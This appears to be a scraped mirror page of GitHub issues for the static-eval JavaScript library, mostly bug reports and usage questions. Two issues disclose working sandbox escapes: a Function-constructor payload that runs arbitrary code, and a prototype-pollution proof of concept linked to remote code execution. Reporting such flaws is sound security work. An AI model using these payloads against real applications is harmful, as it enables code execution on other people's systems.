Giter Club home page Giter Club logo

static-eval's People

Contributors

ahdinosaur avatar archmoj avatar cript0nauta avatar deathcap avatar fabianwarnecke avatar goto-bus-stop avatar hughsk avatar karlbohlmark avatar matt- avatar mmckegg avatar robophred avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

static-eval's Issues

Would it be possible to use this with THREE.Vector3?

Sorry if I'm being daft, but would this work with passing a three.vector in as a variable, and allowing the code to call methods on that? I want to allow declarative animations in @scenevr.

var src = 'v.multiplyScalar(t)';
var ast = parse(src).body[0].expression;

console.log(evaluate(ast, {
    v: new THREE.Vector3,
    t : new Date().valueOf()
}));

Callback parameter needs an extra check

My test code looks like this:

var evaluate = require('static-eval');
var parse = require('esprima').parse;

var src = 'foo(function (obj) { return obj.x })';
var ast = parse(src).body[0].expression;
var result = evaluate(ast, {
  foo: function (func) {
    return func({x: 1})
  },
});

console.log(result);

When I run it, I get:

$ node test.js
/home/stathis/src/jellyfish-jellyscript/node_modules/static-eval/index.js:134
                return obj[node.property.name];
                          ^

TypeError: Cannot read property 'x' of null
    at walk (/home/stathis/src/jellyfish-jellyscript/node_modules/static-eval/index.js:134:27)
    at walk (/home/stathis/src/jellyfish-jellyscript/node_modules/static-eval/index.js:152:20)
    at walk (/home/stathis/src/jellyfish-jellyscript/node_modules/static-eval/index.js:171:20)
    at walk (/home/stathis/src/jellyfish-jellyscript/node_modules/static-eval/index.js:112:25)
    at module.exports (/home/stathis/src/jellyfish-jellyscript/node_modules/static-eval/index.js:204:7)
    at Object.<anonymous> (/home/stathis/src/jellyfish-jellyscript/test.js:6:14)
    at Module._compile (internal/modules/cjs/loader.js:1068:30)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:1097:10)
    at Module.load (internal/modules/cjs/loader.js:933:32)
    at Function.Module._load (internal/modules/cjs/loader.js:774:14)

whereas when I change

var src = 'foo(function (obj) { return obj.x })';`

to

var src = 'foo(function (obj) { return obj && obj.x })';`

I get a successful result:

$ node test.js
1

This looks like a bug to me, as my callback's input here is just {x: 1}, why would I need to make sure obj exists?

Critical security vulnerability with package

Looks like GitHub picked up the withdrawn npm issue:

It's marked as withdrawn on GitHub, but I'm still getting the critical errors from npm audit.

┌───────────────┬──────────────────────────────────────────────────────────────┐
│ Critical      │ Withdrawn: Arbitrary Code Execution in static-eval           │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Package       │ static-eval                                                  │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Patched in    │ No patch available                                           │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Dependency of │ pdfkit                                                       │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Path          │ pdfkit > fontkit > brfs > static-module > static-eval        │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ More info     │ https://github.com/advisories/GHSA-8v27-2fg9-7h62            │
└───────────────┴──────────────────────────────────────────────────────────────┘

What is the different with this and eval?

Hello,

Sorry if this is a silly question, but what would be the difference between this library and using eval or Function?

Also, what does statically-analyzable expressions mean?

Thanks,

Differences in `ReturnStatement` evaluations

Why does the following work:

[1, 2].map(function(x) { return x + 1 })

But not the following:

[{a: 1}, {a: 2}].map(function(x) { return x["a"] })

Since .map() does not seem to be an issue, and member expressions of course aren’t, I’m not sure why this fails. The actual error is TypeError: Cannot read properties of null (reading 'a')

The inner function ASTs are respectively:

ReturnStatement {
  type: 'ReturnStatement',
  argument: BinaryExpression {
    type: 'BinaryExpression',
    operator: '+',
    left: Identifier { type: 'Identifier', name: 'x' },
    right: Literal { type: 'Literal', value: 1, raw: '1' }
  }
}

And:

ReturnStatement {
  type: 'ReturnStatement',
  argument: ComputedMemberExpression {
    type: 'MemberExpression',
    computed: true,
    object: Identifier { type: 'Identifier', name: 'x' },
    property: Literal { type: 'Literal', value: 'a', raw: '"a"' }
  }
}

Statically evaluating a MemberExpression is not harder than a BinaryExpression, is it?

After looking at the code, it seems to me that in both cases the x statement is statically evaluated to null. In the BinaryExpression code, the binary evaluation returns null + 1 which is 1, and you then allow and execute the function.

However since null["a"] raises an error, the function is not allowed and executed. However x["a"] is knowable statically (it is either the property or undefined if it’s absent − if you call evaluate('x["b"]', {x: {a: 1}}), you get undefined, not an error), so the function should execute in this case as well.

There is a simple workaround which is to return (x || {a: ""})["a"] instead of x["a"], this avoids throwing an error by ensuring there is a fallback value to x.a if x is undefined.

can't use with webpack

I've created a module that uses static-eval. In node.js, it's working great. When I try to use webpack to create a bundle including my module, esprima and static-eval, I get this error:

require function is used in a way in which dependencies cannot be statically extracted

If I comment out references to static-eval, webpack runs fine, so it looks like the problem is in static-eval. I'm using webpack 2.5.1. Do you know of a solution?

Inheritance error with Slack Node SDK and NCC

Hello,
I'm updating dependencies in my project (yay!) but I'm having some issues with the Slack Node SDK and @vercel/ncc.

I am maintaining a serverless function that reacts to interactive Slack messages. I am using the Slack SDK in a TypeScript environment, compiling my code with ncc for deployment to AWS Lambda.

Updating ncc also updates static-eval, which throws a new error when running my compiled Lambda function.

Going through the change logs between the old and new versions I believe this was introduced in #27

The error I am seeing is Error: Attempt to inherit from WebClient methods without inheriting from WebClient

Here is how I am using the Slack SDK:

import {WebClient as SlackWebClient} from '@slack/web-api'
(async () => {
  // The slack token is fetched from SSM
  const {slackToken} = await getSecrets({environment})
  const slackClient = new SlackWebClient(slackToken)
  await slackClient.chat.postMessage({
    channel: channelID,
    thread_ts: messageID,
    text: `Some message text`,
  })
})

which aligns with their Posting a message with Web API documentation

If you can point me in the right direction on how to resolve this I would appreciate it.

Better error handling

This is a good project but it's very hard to know what's wrong. We only know when there is a problem by getting undefined.. But if the expression does not return anything and only have a side effect then we don't even know if the code was executed or if there was a problem in the AST.

I suggest static-eval could use Errors instead of the FAIL object. This way it would not be needed to check everytime of something is equal fo FAIL and the end user would get more information about the error.

For example I spent 30 minutes figuring out why I was receiving undefined for a perfectly valid expression. It was simply that 'NewExpression' was not handled (This is not a problem of course, this is open source community someone else can implement that) but with Errors I would have known right away.

Would you accept a pull request using Error instead of FAIL ?

Cannot evaluate the result of "Date.now()"

Here is my code snippet:

const evaluate = require('static-eval');
const parse = require('esprima').parse;

const src = 'Date.now()';
const ast = parse(src).body[0].expression;
const result = evaluate(ast, { Date: Date });

console.log(result);

The code Date.now() will produce an AST tree as shown below:

{
    "type": "Program",
    "body": [
        {
            "type": "ExpressionStatement",
            "expression": {
                "type": "CallExpression",
                "callee": {
                    "type": "MemberExpression",
                    "computed": false,
                    "object": {
                        "type": "Identifier",
                        "name": "Date"
                    },
                    "property": {
                        "type": "Identifier",
                        "name": "now"
                    }
                },
                "arguments": []
            }
        }
    ],
    "sourceType": "script"
}

After tracing into the code, I found that there was a security check added in the commit: c06f1b8#diff-168726dbe96b3ce427e7fedce31bb0bcR101

Actually, the type of Date is a function, it will return FAIL and result in undefined result:

// do not allow access to methods on Function 
if((obj === FAIL) || (typeof obj == 'function')){
    return FAIL;
}

Remove typeof obj === 'function' from if statement will definitely resolve this issue:

if(obj === FAIL){
    return FAIL;
}

May I know if there is a security reason that should not allow callee object as a function?

turing completeness leak

hey I found a gap where you can get at Function and then create code full non static code.

var evaluate = require('./');
var parse = require('esprima').parse;

var src = '(function () {}).constructor("var l = 3; while(l--) console.log(l); console.log(Date.now()); arguments.callee()")()';
var ast = parse(src).body[0].expression;
var res = evaluate(ast); //RangeError from stack overflow

console.log(res)

here is the output:

2
1
0
1426154732632
2
1
0
1426154732632
2
1
...
RangeError: Maximum call stack size exceeded

as you would expect.

It's somewhat harder to prevent turing completeness than it is to create it.

Function declaration invokes the function body

Declaring a function causes the function to be invoked. This is particularly nasty for array iteration methods, where the iterator will get invoked an extra time with a null value.

Here is a test that pinpoints the issue:

test('function declaration does not invoke function', function(t) {
    t.plan(1);

    var invoked = false;
    var variables = {
        noop: function(){},
        onInvoke: function() {invoked = true}
    };
    var src = `noop(function(){ onInvoke(); })`;
    var ast = parse(src).body[0].expression;
    evaluate(ast, variables);
    t.equal(invoked, false);
})

Here is a failing test that demonstrates the array use case:

test('array methods invocation count', function(t) {
    t.plan(2);

    var variables = {
        values: [1, 2, 3],
        receiver: []
    };
    var src = 'values.forEach(function(x) { receiver.push(x); })'
    var ast = parse(src).body[0].expression;
    evaluate(ast, variables);
    t.equal(variables.receiver.length, 3);
    t.deepEqual(variables.receiver, [1, 2, 3]);
})

The result of the deepEqual check is:

    operator: deepEqual
    expected: [ 1, 2, 3 ]
    actual:   [ null, 1, 2, 3 ]

Doesn't handle var statements with multiple declarations

I can't bulkify code that looks like this because static-eval is throwing:

var bulk = require('bulk-require')
  , _ = require('lodash')
  , conditions = bulk(__dirname, ['/*.js'])

However, this works:

var bulk = require('bulk-require')
var _ = require('lodash')
var conditions = bulk(__dirname, ['/*.js'])

static-eval stable version

Hi,
We have updated the static-eval package to the latest version(2.1.0)

The latest version of static-eval has 1 Critical Vulnerability (CVE-2021-23334) with score 9.8.
Is there a way to fix this vulnerability? If so, can you please let us know how to do?

And Latest Version was published on 06/15/2020. Can you please also state the release date of next version?

Variables don't resolve in function scope

I'm trying to do something like this:

var esprima = require('esprima'),
    staticEval = require('static-eval'),
    ast = esprima.parse('[1, 2, 3].map(function(x) { return x * foo; })');
console.log(staticEval(ast.body[0].expression, {foo: 100}));

which throws:

ReferenceError: foo is not defined
    at eval (eval at walk (/Users/allens/work/data-expression/node_modules/static-eval/index.js:107:20), <anonymous>:3:16)
    at Array.map (native)
    at walk (/Users/allens/work/data-expression/node_modules/static-eval/index.js:89:27)
    at module.exports (/Users/allens/work/data-expression/node_modules/static-eval/index.js:110:7)
    at repl:1:13
    at REPLServer.self.eval (repl.js:110:21)
    at repl.js:249:20
    at REPLServer.self.eval (repl.js:122:7)
    at Interface.<anonymous> (repl.js:239:12)
    at Interface.emit (events.js:95:17)

It looks like this is because functions are generated via escodegen rather than walking the AST of the FunctionExpression (which is, admittedly, a pain in the butt). A hacky way to fix this might be to create a function with arguments and apply it with the local vars, like this (untested):

var body = unparse(node),
    keys = Object.keys(vars),
    values = keys.map(function(key) { return vars[key]; }),
    fn = new Function(keys.join(', '), 'return ' + body);
return fn.apply(null, values);

How can malicious user input can execute arbitrary code?

I was hoping to use static-eval to execute user input without eval. The user can write expressions using a build-in set of pre-defined functions passed into static-eval's evaluate. However the readme states:

static-eval is like eval. It is intended for use in build scripts and code transformations, doing some evaluation at build time—it is NOT suitable for handling arbitrary untrusted user input. Malicious user input can execute arbitrary code.

How could this be done? I couldn't see how it would be possible.

Does this warning date back to before the 2.0.0 release (i.e. this vunerability: https://maustin.net/articles/2017-10/static_eval) and not apply with the current version?

It does not evaluate functions

const { parse } = require('esprima');
const staticEval = require('static-eval');
const ast = parse('(() => 1)()');
const val = staticEval(ast.body[0].expression, {}, { allowAccessToMethodsOnFunctions: true });
// val is undefined

The expression I was actually trying to evaluate looks more like '[1,2,3].map(x => x)'

Is there some workaround?

Sandbox Escape

poc

// make pollution
const evaluate = require('static-eval');
const parse = require('esprima').parse;

var src = `({})['__proto__']['__defineGetter__']('toString', ({})['constructor'])`
var ast = parse(src).body[0].expression;

evaluate(ast);

// serve webapp
const express = require('express');
const app = express();

app.get('/', (req, res) => {
    res.end('working!');
});

app.listen(8080);

details in
https://blog.p6.is/bypassing-a-js-sandbox/#Prototype-Pollution-to-Remote-Code-Execution

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.